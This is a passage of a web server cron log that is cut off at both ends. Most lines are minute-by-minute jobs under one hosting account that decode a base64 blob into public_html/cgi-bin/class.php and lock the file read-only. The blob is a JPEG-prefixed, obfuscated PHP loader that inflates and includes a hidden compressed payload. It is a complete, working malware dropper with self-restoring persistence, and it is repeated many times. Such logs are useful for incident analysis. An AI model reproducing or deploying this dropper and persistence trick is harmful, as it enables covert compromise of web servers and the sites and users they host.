R0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:36:01 server CROND[9613]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:37:01 server CROND[9774]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:38:01 server CROND[9826]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:39:01 server CROND[9877]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 18:39:01 server CROND[9879]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:40:01 server CROND[9943]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:40:01 server CROND[9944]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 18:40:01 server CROND[9945]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 18:40:01 server CROND[9946]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 18:41:01 server CROND[10066]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:42:01 server CROND[10224]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 18:42:01 server CROND[10226]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:43:01 server CROND[10289]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:44:01 server CROND[10340]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:45:01 server CROND[10413]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:45:01 server CROND[10416]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 18:45:01 server CROND[10423]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 18:46:02 server CROND[10684]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:47:01 server CROND[10830]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:48:01 server CROND[10898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 18:49:01 server CROND[10961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRk